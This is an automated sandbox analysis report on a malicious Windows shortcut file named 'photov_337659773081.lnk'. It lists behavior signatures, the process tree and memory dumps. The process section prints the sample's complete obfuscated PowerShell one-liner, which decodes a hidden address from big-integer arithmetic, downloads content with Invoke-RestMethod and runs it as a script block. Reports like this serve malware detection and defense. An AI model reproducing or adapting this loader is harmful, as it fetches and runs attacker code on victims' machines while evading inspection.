Analysis
- max time kernel
298s - max time network
245s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/08/2026, 00:40
General
- Target photov_337659773081.lnk
- Size 2KB
- Sample260813-a1fvrayare
- SHA256 a3bd3af53eb49d1399a10c2ae3ce511d7134576d057b6ffeab91891edd85e9dc
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_337659773081.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$mebe=60;$v27tlao_q=[bigint]::Parse('452458015547287684980132825383758215001391677428224');$tc522asc=[bigint]::Parse('452458015547288272954926424947897781517173658564467');$tc522asc=$tc522asc-$v27tlao_q;$ar7zoxl3rt=@();for(;$tc522asc -gt 0;){$ar7zoxl3rt+=[char][int]([bigint]::Remainder($tc522asc,256));$tc522asc=[bigint]::Divide($tc522asc,256)};.(([type]([string]::Concat('System.Management.Automation.Scr','ipt','Block')))::Create((&([string]::Concat('Invoke-','RestMethod')) (-join$ar7zoxl3rt))))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_v20rnnu0.4ut.ps1
memory/4952-3-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-2-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-9-0x0000026726CB0000-0x0000026726CD2000-memory.dmp
memory/4952-12-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-13-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-14-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-15-0x00000267266A0000-0x00000267266B0000-memory.dmp
memory/4952-16-0x00000267266A0000-0x00000267266B0000-memory.dmp